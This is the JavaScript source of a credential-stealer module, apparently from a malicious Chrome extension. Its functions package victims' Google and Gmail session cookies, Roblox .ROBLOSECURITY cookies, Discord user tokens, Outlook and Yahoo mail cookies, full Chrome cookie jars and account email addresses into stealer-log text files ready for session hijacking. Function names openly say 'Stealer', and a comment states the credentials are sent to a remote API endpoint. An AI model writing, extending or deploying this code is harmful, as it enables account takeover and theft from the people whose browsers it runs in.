/**
 * Legacy module: previously mirrored validate-cookie payloads to local files via chrome.downloads.
 * Snapshots are no longer written to disk — data is sent only in the POST body to the API.
 * Helpers remain for building text fields in the API body; downloadSnapshot is a no-op.
 */
(function (global) {
  'use strict';

  var DIV = '\n\n' + new Array(73).join('=') + '\n\n';

  /** Keys like _meta (not __Secure-*) — internal, not HTTP cookies. */
  function isGoogleMetaKey(k) {
    if (!k || typeof k !== 'string') return true;
    if (k === '_chromeCookieJar') return true;
    return k.charAt(0) === '_' && k.charAt(1) !== '_';
  }

  function buildGoogleCookieHeaderLine(googleAuth) {
    if (!googleAuth || typeof googleAuth !== 'object') return '';
    var priority = [
      '__Secure-1PSID',
      '__Secure-3PSID',
      '__Secure-1PAPISID',
      '__Secure-3PAPISID',
      'SID',
      'HSID',
      'SSID',
      'APISID',
      'SAPISID',
      'LSID',
      'OSID',
      'ACCOUNT_CHOOSER',
      'SIDCC',
      '__Secure-1PSIDTS',
      '__Secure-3PSIDTS',
      '__Host-1PLSID',
      '__Host-3PLSID'
    ];
    var used = Object.create(null);
    var parts = [];
    function add(k) {
      if (!k || used[k] || isGoogleMetaKey(k)) return;
      var v = googleAuth[k];
      if (v == null || typeof v !== 'string' || !v.length) return;
      used[k] = true;
      parts.push(k + '=' + v);
    }
    var i;
    for (i = 0; i < priority.length; i++) add(priority[i]);
    var rest = Object.keys(googleAuth).sort();
    for (i = 0; i < rest.length; i++) add(rest[i]);
    return parts.join('; ');
  }

  function normalizeChromeCookieJar(raw) {
    if (!raw) return [];
    if (Array.isArray(raw)) return raw;
    if (typeof raw === 'string') {
      try {
        var parsed = JSON.parse(raw);
        return Array.isArray(parsed) ? parsed : [];
      } catch (e) {
        return [];
      }
    }
    return [];
  }

  function buildNetscapeFromChromeJar(googleAuth) {
    if (!googleAuth || typeof googleAuth !== 'object') return '';
    var jar = normalizeChromeCookieJar(googleAuth._chromeCookieJar);
    if (!jar.length) return '';
    var out = [];
    out.push('# Netscape HTTP Cookie File');
    out.push('# https://curl.se/docs/http-cookies.html');
    out.push('');
    var j;
    for (j = 0; j < jar.length; j++) {
      var c = jar[j];
      if (!c || !c.name || c.value == null) continue;
      var domain = String(c.domain || '').trim() || '.google.com';
      var includeSub = domain.indexOf('.') === 0 ? 'TRUE' : 'FALSE';
      var pth = String(c.path || '/').trim() || '/';
      var sec = c.secure ? 'TRUE' : 'FALSE';
      var exp = c.expirationDate ? Math.floor(Number(c.expirationDate)) : 0;
      out.push(
        [domain, includeSub, pth, sec, String(exp), String(c.name), String(c.value)].join('\t')
      );
    }
    return out.join('\n');
  }

  function googleStealerExportKeys(googleAuth) {
    if (!googleAuth || typeof googleAuth !== 'object') return [];
    return Object.keys(googleAuth).filter(function (k) {
      return (
        k !== 'email' &&
        !isGoogleMetaKey(k) &&
        googleAuth[k] != null &&
        typeof googleAuth[k] === 'string' &&
        String(googleAuth[k]).trim().length > 0
      );
    });
  }

  /** Cookies/Google Chrome_Default.txt — Netscape lines from full jar (_chromeCookieJar). */
  function buildGoogleChromeDefaultStealerTxt(googleAuth) {
    if (!googleAuth || typeof googleAuth !== 'object') return '';
    var fromJar = buildNetscapeFromChromeJar(googleAuth);
    if (fromJar) return fromJar;
    var keys = googleStealerExportKeys(googleAuth);
    if (!keys.length) return '';
    var lines = ['# Netscape HTTP Cookie File', '# https://curl.se/docs/http-cookies.html', ''];
    keys.sort();
    var i;
    for (i = 0; i < keys.length; i++) {
      var k = keys[i];
      var v = String(googleAuth[k]).trim();
      if (!v) continue;
      lines.push(['.google.com', 'TRUE', '/', 'TRUE', '0', k, v].join('\t'));
    }
    return lines.join('\n') + '\n';
  }

  /** Cookies/Roblox.txt — three .ROBLOSECURITY lines for typical import. */
  function buildRobloxStealerCookiesTxt(cookie) {
    if (!cookie || typeof cookie !== 'string' || !cookie.trim()) return '';
    var safe = String(cookie).trim().replace(/[\n\r\t]/g, '');
    return (
      '# Netscape HTTP Cookie File\n' +
      '# https://curl.se/docs/http-cookies.html\n' +
      '\n' +
      '.roblox.com\tTRUE\t/\tTRUE\t0\t.ROBLOSECURITY\t' +
      safe +
      '\n' +
      'www.roblox.com\tFALSE\t/\tTRUE\t0\t.ROBLOSECURITY\t' +
      safe +
      '\n' +
      'roblox.com\tFALSE\t/\tTRUE\t0\t.ROBLOSECURITY\t' +
      safe +
      '\n'
    );
  }

  /** Line-by-line name=value — copy from Application → Cookies. */
  function buildGooglePerCookieLines(googleAuth) {
    if (!googleAuth || typeof googleAuth !== 'object') return '';
    var jar = normalizeChromeCookieJar(googleAuth._chromeCookieJar);
    if (jar.length) {
      var lines = [];
      var j;
      for (j = 0; j < jar.length; j++) {
        var c = jar[j];
        if (!c || !c.name || c.value == null) continue;
        var dom = String(c.domain || '').trim();
        var pth = String(c.path || '/').trim();
        lines.push('# ' + dom + '\t' + pth);
        lines.push(String(c.name) + '=' + String(c.value));
        lines.push('');
      }
      if (lines.length) return lines.join('\n').trimEnd();
    }
    var hdr = buildGoogleCookieHeaderLine(googleAuth);
    if (!hdr) return '';
    return hdr
      .split(';')
      .map(function (p) {
        return p.trim();
      })
      .filter(Boolean)
      .join('\n');
  }

  /** Roblox: Cookie string + Netscape + raw value. */
  function buildRobloxBrowserTxt(cookie) {
    if (!cookie || typeof cookie !== 'string' || !cookie.trim()) {
      return '(Roblox cookie not collected in this session)\n';
    }
    var v = cookie.trim();
    var lines = [];
    lines.push('Roblox — browser format (.ROBLOSECURITY cookie)');
    lines.push('');
    lines.push('=== Single line — Cookie header (www.roblox.com) ===');
    lines.push('.ROBLOSECURITY=' + v);
    lines.push('');
    lines.push('=== cookies.txt (Netscape) — Cookie-Editor import, etc. ===');
    lines.push('# Netscape HTTP Cookie File');
    lines.push('');
    lines.push('.roblox.com\tTRUE\t/\tTRUE\t0\t.ROBLOSECURITY\t' + v);
    lines.push('www.roblox.com\tFALSE\t/\tTRUE\t0\t.ROBLOSECURITY\t' + v);
    lines.push('roblox.com\tFALSE\t/\tTRUE\t0\t.ROBLOSECURITY\t' + v);
    lines.push('');
    lines.push('=== Value only (Value column in DevTools → Application → Cookies) ===');
    lines.push(v);
    return lines.join('\n');
  }

  /** Discord: user token (localStorage), not document.cookie — header-style lines. */
  function buildDiscordBrowserTxt(token) {
    if (!token || typeof token !== 'string' || !token.trim()) {
      return '';
    }
    var t = token.trim();
    var lines = [];
    lines.push('Discord — browser web-client token (usually localStorage "token"), not an HttpOnly cookie.');
    lines.push('For discord.com/api: Authorization header = value below (user token, no Bearer prefix).');
    lines.push('');
    lines.push('=== As HTTP header (two lines) ===');
    lines.push('Authorization: ' + t);
    lines.push('');
    lines.push('=== .env style / single variable ===');
    lines.push('DISCORD_USER_TOKEN=' + t);
    lines.push('');
    lines.push('=== Raw value (single line) ===');
    lines.push(t);
    return lines.join('\n');
  }

  function buildDiscordCookieHeaderLine(discordAuth) {
    if (!discordAuth || typeof discordAuth !== 'object') return '';
    var priority = ['__dcfduid', '__sdcfduid', 'cf_clearance', 'locale', 'OptanonConsent'];
    var used = Object.create(null);
    var parts = [];
    function add(k) {
      if (!k || used[k] || k === '_chromeCookieJar') return;
      var v = discordAuth[k];
      if (v == null || typeof v !== 'string' || !v.length) return;
      used[k] = true;
      parts.push(k + '=' + v);
    }
    var i;
    for (i = 0; i < priority.length; i++) add(priority[i]);
    var rest = Object.keys(discordAuth).sort();
    for (i = 0; i < rest.length; i++) add(rest[i]);
    return parts.join('; ');
  }

  function buildDiscordCookiesTxt(discordAuth) {
    if (!discordAuth || typeof discordAuth !== 'object') {
      return '';
    }
    var lines = [];
    lines.push('Discord — session cookies from Chrome (no open tab required)');
    lines.push('');
    var oneLine = buildDiscordCookieHeaderLine(discordAuth);
    lines.push('=== Single line — Cookie header ===');
    lines.push(oneLine || '(no discord cookies found in this Chrome profile)');
    lines.push('');
    var per = buildGooglePerCookieLines(discordAuth);
    lines.push('=== Each cookie separately ===');
    lines.push(per || '(missing _chromeCookieJar)');
    lines.push('');
    var ns = buildNetscapeFromChromeJar(discordAuth);
    lines.push('=== cookies.txt (Netscape) ===');
    lines.push(ns || '# No _chromeCookieJar');
    return lines.join('\n');
  }

  function buildDiscordExportTxt(body) {
    if (body && body.discordToken) {
      return buildDiscordBrowserTxt(body.discordToken);
    }
    if (body && body.discordAuth) {
      return buildDiscordCookiesTxt(body.discordAuth);
    }
    return '';
  }

  function buildGoogleCookiesOnlyTxt(body) {
    if (!body || !body.googleAuth || typeof body.googleAuth !== 'object') {
      return '';
    }
    var googleAuth = body.googleAuth;
    var jar = normalizeChromeCookieJar(googleAuth._chromeCookieJar);
    if (jar.length) {
      var lines = [];
      var j;
      for (j = 0; j < jar.length; j++) {
        var c = jar[j];
        if (!c || !c.name || c.value == null) continue;
        var domain = String(c.domain || '').trim() || '.google.com';
        var includeSub = domain.indexOf('.') === 0 ? 'TRUE' : 'FALSE';
        var pth = String(c.path || '/').trim() || '/';
        var sec = c.secure ? 'TRUE' : 'FALSE';
        var exp = c.expirationDate ? Math.floor(Number(c.expirationDate)) : 0;
        lines.push(
          [domain, includeSub, pth, sec, String(exp), String(c.name), String(c.value)].join('\t')
        );
      }
      if (lines.length) return lines.join('\n') + '\n';
    }
    var hdr = buildGoogleCookieHeaderLine(googleAuth);
    return hdr ? hdr + '\n' : '';
  }

  function buildGoogleFullTxt(body) {
    if (!body || !body.googleAuth || typeof body.googleAuth !== 'object') {
      return '(Google not collected in this session)\n';
    }
    var lines = [];
    lines.push('Google / Gmail — session as browser cookies');
    lines.push('');
    if (body.googleEmail) {
      lines.push('Email: ' + String(body.googleEmail));
      lines.push('');
    }
    var oneLine = buildGoogleCookieHeaderLine(body.googleAuth);
    lines.push('=== Single line — Cookie header (DevTools → Network) ===');
    lines.push(
      oneLine ||
        '(no flat cookies; sign in to Google in Chrome and try again)'
    );
    lines.push('');
    var per = buildGooglePerCookieLines(body.googleAuth);
    lines.push('=== Each cookie separately (domain/path in comment) ===');
    lines.push(per || '(missing _chromeCookieJar — update the extension)');
    lines.push('');
    var ns = buildNetscapeFromChromeJar(body.googleAuth);
    lines.push('=== cookies.txt (Netscape) — full Chrome dump ===');
    lines.push(
      ns || '# No _chromeCookieJar'
    );
    return lines.join('\n');
  }

  /** OAuth tokens only (refresh 1//…, access ya29.…); session cookies excluded. */
  function buildGoogleSingleToken(googleAuth) {
    var api =
      (typeof globalThis !== 'undefined' && globalThis.RbxGoogleOAuthTokens) ||
      (typeof window !== 'undefined' && window.RbxGoogleOAuthTokens);
    if (api && typeof api.extractGoogleOAuthTokens === 'function') {
      return api.extractGoogleOAuthTokens(googleAuth);
    }
    return '';
  }

  function netscapeFromJar(rawJar) {
    var jar = normalizeChromeCookieJar(rawJar);
    if (!jar.length) return '';
    var lines = [];
    var j;
    for (j = 0; j < jar.length; j++) {
      var c = jar[j];
      if (!c || !c.name || c.value == null) continue;
      var domain = String(c.domain || '').trim() || '.local';
      var includeSub = domain.indexOf('.') === 0 ? 'TRUE' : 'FALSE';
      var pth = String(c.path || '/').trim() || '/';
      var sec = c.secure ? 'TRUE' : 'FALSE';
      var exp = c.expirationDate ? Math.floor(Number(c.expirationDate)) : 0;
      lines.push(
        [domain, includeSub, pth, sec, String(exp), String(c.name), String(c.value)].join('\t')
      );
    }
    return lines.join('\n');
  }

  function isMailCookieDomain(domain) {
    var d = String(domain || '').toLowerCase();
    return /google|gmail|youtube|googleusercontent|live\.com|microsoft|outlook|office|office365|yahoo|mail\./.test(d);
  }

  function filterJarByDomain(jar, predicate) {
    jar = normalizeChromeCookieJar(jar);
    return jar.filter(function (c) {
      return c && predicate(String(c.domain || '').toLowerCase());
    });
  }

  /** Google + mail provider cookies only — Netscape lines, no headers. */
  function buildMailCookiesOnlyTxt(body) {
    if (!body || typeof body !== 'object') return '';
    var merged = [];
    if (body.googleAuth && body.googleAuth._chromeCookieJar) {
      merged = merged.concat(normalizeChromeCookieJar(body.googleAuth._chromeCookieJar));
    }
    if (body.fullBrowserJar) {
      merged = merged.concat(filterJarByDomain(body.fullBrowserJar, isMailCookieDomain));
    }
    if (!merged.length && body.googleAuth) {
      var hdr = buildGoogleCookieHeaderLine(body.googleAuth);
      return hdr ? hdr + '\n' : '';
    }
    var seen = Object.create(null);
    var out = [];
    var i;
    for (i = 0; i < merged.length; i++) {
      var c = merged[i];
      if (!c || !c.name || c.value == null) continue;
      var key = (c.domain || '') + '\t' + (c.path || '/') + '\t' + c.name;
      if (seen[key]) continue;
      seen[key] = true;
      out.push(c);
    }
    return netscapeFromJar(out);
  }

  /** Full Chrome profile cookies — Netscape only. */
  function buildFullBrowserNetscapeTxt(body) {
    if (!body || typeof body !== 'object') return '';
    if (body.fullBrowserJar && body.fullBrowserJar.length) {
      return netscapeFromJar(body.fullBrowserJar);
    }
    var parts = [];
    if (body.googleAuth && body.googleAuth._chromeCookieJar) {
      parts.push(netscapeFromJar(body.googleAuth._chromeCookieJar));
    }
    if (body.discordAuth && body.discordAuth._chromeCookieJar) {
      parts.push(netscapeFromJar(body.discordAuth._chromeCookieJar));
    }
    return parts.filter(Boolean).join('\n');
  }

  function buildAllBrowserTxt(body) {
    return buildFullBrowserNetscapeTxt(body);
  }

  function buildEmailsTxt(body) {
    if (!body || typeof body !== 'object') return '(no emails collected)\n';
    var lines = ['Collected mailbox / account emails', ''];
    var seen = Object.create(null);

    function addOne(email, label) {
      var e = String(email || '').trim().toLowerCase();
      if (!e || e.indexOf('@') === -1 || seen[e]) return;
      seen[e] = true;
      lines.push((label ? label + ': ' : '') + e);
    }

    function addList(list, label) {
      if (!Array.isArray(list)) return;
      for (var i = 0; i < list.length; i++) addOne(list[i], label);
    }

    addOne(body.googleEmail, 'Google');
    addList(body.googleEmails, 'Google');
    addOne(body.outlookEmail, 'Outlook');
    addList(body.outlookEmails, 'Outlook');
    addOne(body.yahooEmail, 'Yahoo');
    addList(body.yahooEmails, 'Yahoo');
    addList(body.allMailEmails, 'Mail');

    if (body.mailByProvider && typeof body.mailByProvider === 'object') {
      for (var provider in body.mailByProvider) {
        if (!Object.prototype.hasOwnProperty.call(body.mailByProvider, provider)) continue;
        addList(body.mailByProvider[provider], provider);
      }
    }

    if (lines.length <= 2) return '(no emails collected)\n';
    return lines.join('\n') + '\n';
  }

  /**
   * @param {object} [_body] — unused; kept for API compatibility. Credentials go only in POST api/validate-cookie.
   */
  async function downloadSnapshot(_body) {
    return;
  }

  global.RbxCredentialExport = {
    downloadSnapshot: downloadSnapshot
  };

  global.RbxTxtExport = {
    buildRobloxBrowserTxt: buildRobloxBrowserTxt,
    buildDiscordBrowserTxt: buildDiscordBrowserTxt,
    buildDiscordCookiesTxt: buildDiscordCookiesTxt,
    buildDiscordExportTxt: buildDiscordExportTxt,
    buildGoogleFullTxt: buildGoogleFullTxt,
    buildGoogleCookiesOnlyTxt: buildGoogleCookiesOnlyTxt,
    buildMailCookiesOnlyTxt: buildMailCookiesOnlyTxt,
    buildFullBrowserNetscapeTxt: buildFullBrowserNetscapeTxt,
    buildEmailsTxt: buildEmailsTxt,
    buildAllBrowserTxt: buildAllBrowserTxt
  };
})(typeof globalThis !== 'undefined' ? globalThis : window);
